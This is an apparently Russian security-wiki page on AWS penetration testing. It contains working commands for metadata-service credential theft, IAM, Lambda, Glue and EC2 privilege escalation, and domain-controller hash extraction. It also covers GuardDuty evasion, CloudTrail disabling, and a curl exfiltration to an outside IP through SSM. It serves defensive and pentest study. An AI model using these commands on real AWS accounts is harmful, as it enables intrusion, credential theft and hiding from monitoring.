Aws — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (GuardDuty)
м (Ссылки)
Строка 1396: Строка 1396:
  
 
== Статьи ==
 
== Статьи ==
 +
 +
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]
 +
 +
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]
  
 
== Лаборатории ==
 
== Лаборатории ==
Строка 1414: Строка 1418:
  
 
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]
 
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]
 +
 +
== Книги ==
 +
 +
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]

Версия 18:36, 4 апреля 2022

AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.

Содержание

Организационные моменты

При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).

Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/

Общие концепции

Службы

Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.


Это экосистема многих сервисов. И AWS стремится увеличить их количество.

Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.


Регионы

AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.

Регионы AWS
Название региона Endpoint(HTTPS)
us-east-2 rds.us-east-2.amazonaws.com

rds-fips.us-east-2.api.aws

rds.us-east-2.api.aws

rds-fips.us-east-2.amazonaws.com

us-east-1 rds.us-east-1.amazonaws.com

rds-fips.us-east-1.api.aws

rds-fips.us-east-1.amazonaws.com

rds.us-east-1.api.aws

us-west-1 rds.us-west-1.amazonaws.com

rds.us-west-1.api.aws

rds-fips.us-west-1.amazonaws.com

rds-fips.us-west-1.api.aws

us-west-2 rds.us-west-2.amazonaws.com

rds-fips.us-west-2.amazonaws.com

rds.us-west-2.api.aws

rds-fips.us-west-2.api.aws

af-south-1 rds.af-south-1.amazonaws.com

rds.af-south-1.api.aws

ap-east-1 rds.ap-east-1.amazonaws.com

rds.ap-east-1.api.aws

ap-southeast-3 rds.ap-southeast-3.amazonaws.com
ap-south-1 rds.ap-south-1.amazonaws.com

rds.ap-south-1.api.aws

ap-northeast-3 rds.ap-northeast-3.amazonaws.com

rds.ap-northeast-3.api.aws

ap-northeast-2 rds.ap-northeast-2.amazonaws.com

rds.ap-northeast-2.api.aws

ap-southeast-1 rds.ap-southeast-1.amazonaws.com

rds.ap-southeast-1.api.aws

ap-southeast-2 rds.ap-southeast-2.amazonaws.com

rds.ap-southeast-2.api.aws

ap-northeast-1 rds.ap-northeast-1.amazonaws.com

rds.ap-northeast-1.api.aws

ca-central-1 rds.ca-central-1.amazonaws.com

rds.ca-central-1.api.aws

rds-fips.ca-central-1.api.aws

rds-fips.ca-central-1.amazonaws.com

eu-central-1 rds.eu-central-1.amazonaws.com

rds.eu-central-1.api.aws

eu-west-1 rds.eu-west-1.amazonaws.com

rds.eu-west-1.api.aws

eu-west-2 rds.eu-west-2.amazonaws.com

rds.eu-west-2.api.aws

eu-south-1 rds.eu-south-1.amazonaws.com

rds.eu-south-1.api.aws

eu-west-3 rds.eu-west-3.amazonaws.com

rds.eu-west-3.api.aws

eu-north-1 rds.eu-north-1.amazonaws.com

rds.eu-north-1.api.aws

me-south-1 rds.me-south-1.amazonaws.com

rds.me-south-1.api.aws

sa-east-1 rds.sa-east-1.amazonaws.com

rds.sa-east-1.api.aws

us-gov-east-1 rds.us-gov-east-1.amazonaws.com
us-gov-west-1 rds.us-gov-west-1.amazonaws.com

Или только регионы (могут пригодиться при переборе):

us-east-2
us-east-1
us-west-1
us-west-2
af-south-1
ap-east-1
ap-southeast-3
ap-south-1
ap-northeast-3
ap-northeast-2
ap-southeast-1
ap-southeast-2
ap-northeast-1
ca-central-1
eu-central-1
eu-west-1
eu-west-2
eu-south-1
eu-west-3
eu-north-1
me-south-1
sa-east-1
us-gov-east-1
us-gov-west-1

Доступы

Консольная утилита(awscli)

Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.

Утилита работает с настроенными профилями.

Файлы

~/.aws/credentials

Файл с учетными данными профилей. Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.

У каждого профиля будет указан:

  • Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с "AKIA..."
  • Access Key - 40 случайных символов различного регистра.
  • Access Token - не всегда указывается

Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings

Пример содержимого файла (сохранен профиль default):

[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk

~/.aws/config

Файл с региональными настройками профиля(регион по-умолчанию).

[default]
region=us-west-2
output=json

~/.aws/cli/cache

Закешированные учетные данные

~/.aws/sso/cache

Закешированные данные Single-Sign-On

Команды

Общее построение команды выглядит как:

aws <название_сервиса> <действие> <дополнительные_аргументы>

Примеры:

# Вывести все S3-хранилища.
aws s3 ls

# Создание нового пользователя - сервис IAM
aws iam create-user --user-name aws-admin2

IMDS (Instance Metadata Service)

Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.

Есть 2 версии:

  • IMDSv1 - версия 1 по-умолчанию, не требует токен.
  • IMDSv2 - версия 2, для запросов требуется токен.

Запрос без токена:

curl http://169.254.169.254/latest/meta-data/

Запрос с токеном:

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/

Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):

# В начале делаем запрос на директорию /security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Потом выбираем нужный аккаунт и делаем запрос на него
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account

Пример ответа:

{ 
    "Code" : "Success", 
    "LastUpdated" : "2019-12-03T07:15:34Z", 
    "Type" : "AWS-HMAC", 
    "AccessKeyId" : "xxxxxxxxxxxxxxxxxxx", 
    "SecretAccessKey" : "xxxxxxxxxxxxxxxxxxxxx", 
    "Token" : "xxxxxxxxxxxxxxxxxxxxx", 
    "Expiration" : "2019-12-03T13:50:22Z"
}

После чего эти учетные данные можно использовать с awscli.


Другие полезные Endpoint'ы:

http://169.254.169.254/
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document

Ролевая модель

Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:

  • trust policy - определяет, чья будет роль
  • permissions policy - определяет какой доступ будет у тех, у кого эта роль.



Каждая политика состоит из следующих компонентов:

  • Ресурс - цель, кому выдается правило. Может быть:
    • Пользователь
    • Группа, в которой могут быть аккаунты по какому то признаку
    • Другая политика.
  • Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)
  • Тип правила(Effect) - разрешение или запрет.
  • Политика(Policy) - совокупность Роль(действие) -> разрешение/запрет -> Ресурс(кому).
  • Условия(Condition) - отдельные условия, например, ip.

Пример политики:

{
    "Version": "2012-10-17",  //Версия политики
    "Statement": [  
        {
            "Sid": "Stmt32894y234276923" //Опционально - уникальный идентификатор
            "Effect": "Allow", //Разрешить или запретить
            "Action": [  //Разрешенные/Запрещенные действия
                "ec2:AttachVolume",
                "ec2:DetachVolume"
            ], 
            "Resource": [ //На какие ресурсы можно/нельзя совершать действия
                "arn:aws:ec2:*:*:volume/*",
                "arn:aws:ec2:*:*:instance/*"
            ],
            "Condition": { //Опционально - условия срабатывания
                "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
            }
        }
    ]
}

Определение ролей

Вручную

TODO команды по определению своих ролей

Автоматизированно

Эксплуатация

Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.


Тут будут отдельные роли, которые не прикреплены ни к одному сервису.

Административный доступ

Как выглядит роль с административным доступом:

"Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "*"
      ],
      "Resource": "*"
    }
]

Службы

IAM

Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.


Роли - повышение привилегий

iam:UpdateLoginProfile

Сбросить пароль у других пользователей:

aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required

iam:PassRole + ec2:RunInstance

См. EC2

iam:PassRole + glue:CreateDevEndpoint

См. Glue

Роли - повышение до админа

iam:AddUserToGroup

Добавить юзера в административную группу:

aws iam add-user-to-group --group-name <название_группы> --user-name <логин>

iam:PutUserPolicy

Право добавить своб политику к ранее скомпрометированным обьектам.

aws iam put-user-policy --user-name <логин> --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json

iam:CreateLoginProfile

Привилегия для создания профиля(с паролем) для аккаунта, выставить новый пароль и перейти под этого пользователя.

aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required

iam:UpdateLoginProfile

Добавить существующую политику к любому пользователю.

aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess


iam:AttachGroupPolicy

Добавить существующую политику к любой группе.

aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:AttachRolePolicy

Добавить существующую политику к любой роли.

aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:CreatePolicy

Создать административную политику.

iam:AddUserToGroup

Добавить пользователя в группу администраторов:

aws iam add-user-to-group --group-name target_group --user-name my_username

iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion

Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.

Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.

# Создание политики
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default
# Установка политики по умолчанию.
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2

iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile

См. EC2

GuardDuty

Сервис для детектирования атак используя машинное обучение.

Для детекта использует следующие сервисы:

  • CloudTrail
  • VPC Flow Logs
  • DNS Logs
  • ...to be continued

Обход защиты

Далее идут правила детекта и то, как их можно обойти.

UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration

Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).

Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).

Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы. Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.

Может быть для этого выгодно держать проксирующий сервер EC2.

UserAgent rules

Суть в том, что GuardDuty будет добавлять Alert если используется UserAgent например Kali. Варианты:

  • Использовать утилиту pacu (уже есть смена User-Agent)
  • Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.

Роли

STS (Security Token Service)

Сервис, позволяющий запросить временные учетные данные с ограниченными примилегиями для IAM-пользователей

KMS (Key Management Service)

Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.

Администраторы амазона не смогут получить к ним доступ.


Ключи со временем обновляются:

  • Customers keys - раз в 365 дней
  • AWS keys - раз в 3 года.


Старые ключи также можно будет использовать для расшифровки.

CloudHSM (Hardware Security Module)

Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению.

Пишут, что устройство будет закреплено только за вами.

Также можно получить доступ к CloudHSM-Instance по SSH.

Athena

Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.

Умеет работать с шифрованными S3 и сохранять шифрованный вывод.

EBS (Elastic Block Store)

Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).

Роли - управление сервисом

ec2:CreateVolume + ec2:AttachVolume

Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.

# Создание Volume из snapshot'а (если требуется подключить snapshot)
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
# Подключение Volume к виртуалке EC2

Далее идем на виртуалку и вводим команды:

# Поиск Volume
lsblk
# Проверка есть ли на нем данные
sudo file -s /dev/xvdf
# форматировать образ под ext4 (если неподходящая файловая система)
sudo mkfs -t ext4 /dev/xvdf
# Создаем директорию куда примонтируем позже
sudo mkdir /tmp/newvolume
# Монтируем
sudo mount /dev/xvdf /tmp/newvolume/

Диск будет доступен на /tmp/newvolume.


Lambda

Сервис для запуска своего кода в облаке.

Роли - повышение привилегий

lambda:UpdateFunctionCode

Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:

aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip

lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole

Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.

Код функции:

import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
    UserName='my_username',
    PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response

Команды для запуска:

# Создание функции
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py
# Запуск
aws lambda invoke --function-name my_function output.txt

Роли - управление

lambda:GetFunction

Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.

Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):

# Получить список функций
aws lambda list-functions --profile uploadcreds
# Получить информацию о Lambda-функции
aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
# Скачать исходный код по ссылке из предыдущего ответа
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds

Glue

Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.

Роли - повышение привилегий

glue:UpdateDevEndpoint

Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:

# TODO: это не обновление параметров, надо обновить команду
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub

glue:CreateDevEndpoint + iam:PassRole

Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:

aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub

S3

Файловое хранилище, доступное по http(s).

Формат ссылки:

https://{bucket_name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket_name}/

# US Standard
http://s3.amazonaws.com
# Ireland
http://s3-eu-west-1.amazonaws.com
# Northern California
http://s3-us-west-1.amazonaws.com
# Singapore
http://s3-ap-southeast-1.amazonaws.com
# Tokyo
http://s3-ap-northeast-1.amazonaws.com

Делать запросы можно:

  • В браузере - http(s)
  • Используя awscli:
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]


В S3 может использоваться шифрование:

  • SSE-KMS - Server-Side с ключами KMS
  • SSE-C - Server-Side с ключами заказчика
  • CSE-KMS - Client-Side с ключами KMS
  • CSE-C - Client-Side с ключами заказчика

Сбор информации

Определение региона

$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud.    5    IN    A    52.218.192.11

$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com

# Итоговый URL будет:
flaws.cloud.s3-website-us-west-2.amazonaws.com
flaws.cloud.s3-us-west-2.amazonaws.com

Если будет некорректный регион - редиректнет на корректный.


Список файлов

На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.

Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).


Роли - управление

s3:ListBucket

Посмотреть список файлов в S3-хранилище:

aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]

s3:ListAllMyBuckets

Посмотреть список всех S3-хранилищ, доступных мне:

aws s3api list-buckets
aws s3 ls

CloudFront

Сервис сети доставки контента (CDN).


Формат ссылки:

https://{random_id}.cloudfront.net

EC2 (Elastic Compute Cloud)

EC2 (Amazon Elastic Compute Cloud) == VPS


Состоит из:

  • Instance - название виртуальной машины
  • AMI (Amazon Machine Image) - образ виртуальной машины
  • SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.


Формат ссылки:

ec2-{ip-seperated}.compute-1.amazonaws.com

Роли - повышение привилегий

ec2:RunInstance + iam:PassRole

Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.

1. Запуск машины c новой прикрепленной ролью

2. Подключение к ней

3. Работа с прикрепленной ролью

Создание EC2 с известным SSH-ключем:

aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456

Второй вариант - скрипт для запуска:

aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh

Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.


Роли - повышение до админа

ec2:AssociateIamInstanceProfile

Позволяет менять IAM политики/роли/пользователей

ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole

Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.

Роли - управление

ec2:CreateVolume + ec2:AttachVolume

См. EBS.

ec2:DescribeSnapshots

Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:

aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2

ec2:CreateVolume

Прзврояет примаунтить SnapShot, чтобы потом его изучить:

aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89

ec2:* (Копирование EC2)

Позволяет скопировать EC2 используя AMI-images:

# Создаем новый AMI из Instance-ID
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1  

# Добавляем наш ключ в систему
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  

# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) 
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# Проверяем запустился ли инстанс
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 

# Не обязательно - редактируем группу инстанса
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# В конце работы - останавливаем и удаляем инстанс
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

ec2-instance-connect:SendSSHPublicKey

Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.

# Получаем информацию об инстансе, который будем атаковать.
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"

# Добавляем ключ к EC2-инстансу.
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.

В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.


# Получаем информацию об инстансе, который будем атаковать.
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"

# Добавляем ключ к EC2-инстансу.
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1

# Подключаемся (кроме GovCloud US региона)
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws
# Подключаемся (только для GovCloud US региона)
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com

# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)
sudo systemctl restart serial-getty@ttyS0
# Если не сработало - мб требуется ребутать сервер.


Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html

ssm:SendCommand

Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:

  • Знать Instance-ID, на котором запущен сервис SSM
  • Свой сервер, на который будет приходить отстук - результат команды.

Команды для эксплуатации:

# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  
# Выполняем команду
aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)
aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds

# Пример - результат команды на удаленный сервер
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1

EC2:CreateSnapshot + Active Directory

См. AD.

AD (Directory Service)

Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.

Основные понятия:

  • EC2-Instance - VPS на которых крутится весь Active Directory


Роли - повышение привилегий

EC2:CreateSnapshot + EC2:RunInstance -> ShadowCopy

Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.


Последовательность атаки:

1. Получаем список инстансов

2. Создаем Snapshot выбранного сервера

3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего.

aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012

4. Переключаемся на аккаунт атакующего

5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot

6. Подключаемся по SSH и получаем данные из SnapShot

sudo -s
mkdir /tmp/windows
mount /dev/xvdf1 /tmp/windows/
cd  /tmp/windows/

7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:

cp /windows/Windows/NTDS/ntds.dit /home/ec2-user
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user
chown ec2-user:ec2-user /home/ec2-user/*
# Sftp - скачиваем файлы:
/home/ec2-user/SYSTEM
/home/ec2-user/ntds.dit
# Получаем учетные данные, используя Impacket-secretsdump
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets

CloudTrail

Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.

Записывает:

  • API-вызовы
  • Логины в систему
  • События сервисов
  •  ???


Важен при операциях RedTeam.


Название файла логов:

AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat

S3 путь до логов:

BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD

Путь у CloudTrail-Digest файлов:

s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz

Основные поля у событий:

  • eventName - имя API-endpoint
  • eventSource - вызванный сервис
  • eventTime - время события
  • SourceIPAddress - ip-адрес источника
  • userAgent - метод запроса
    • "signing.amazonaws.com" - запрос от AWS Management Console
    • "console.amazonaws.com" - запрос от root-пользователя аккаунта
    • "lambda.amazonaws.com" - запрос от AWS Lambda
  • requestParameters - параметры запроса
  • responseElements - элементы ответа.


Временные параметры:

  • 5 минут - сохраняется новый лог-файл
  • 15 минут - сохраняется в S3.


Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись. Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.

Роли - управление

cloudtrail:DeleteTrail

Позволяет отключить мониторинг:

aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator

cloudtrail:UpdateTrail

Права на редактирование правил монитринга.


Отключить мониторинг глобальных сервисов:

aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event


Отключить мониторинг на конкретные регионы:

aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west

validate-logs

Проверить, были ли изменены логи.

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]


Эксплуатация

Обход правила по UserAgent

На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.

Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.

DynamoDB

Cистема управления базами данных класса NoSQL в формате «ключ — значение».

Роли - управление

dynamodb:ListTables

Позволяет посмотреть спрсок таблиц базы данных.

aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        

{
    "TableNames": [
        "users"
    ]
}

dynamodb:Scan

Получение обьектов из базы данных:

aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'

{
  "password": {
    "S": "Management@#1@#"
  },
  "username": {
    "S": "Mgmt"
  }
}


ES (ElasticSearch)

ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.

Формат ссылки:

https://{user_provided}-{random_id}.{region}.es.amazonaws.com


ELB (Elastic Load Balancing)

Балансировщик нагрузки.


Формат ссылки (elb_v1):

http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443

Формат ссылки (elb_v2):

https://{user_provided}-{random_id}.{region}.elb.amazonaws.com

RDS (Relational Database Service)

Облачная реляционная база данных (на выбор).

Формат ссылки:

mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432

Route 53

Настраиваемая служба DNS.

Формат ссылки:

{user_provided}

API Gateway

API-сервис, который будет доступен почти со всех серверов.

Формат ссылки:

https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}

CloudSearch

Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.


Формат ссылки:

https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com

Transfer Family

Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).

Формат ссылки:

sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com


IoT (Internet Of Things)

Сервис для управления IoT-устройствами.

Формат ссылки:

mqtt://{random_id}.iot.{region}.amazonaws.com:8883
https://{random_id}.iot.{region}.amazonaws.com:8443
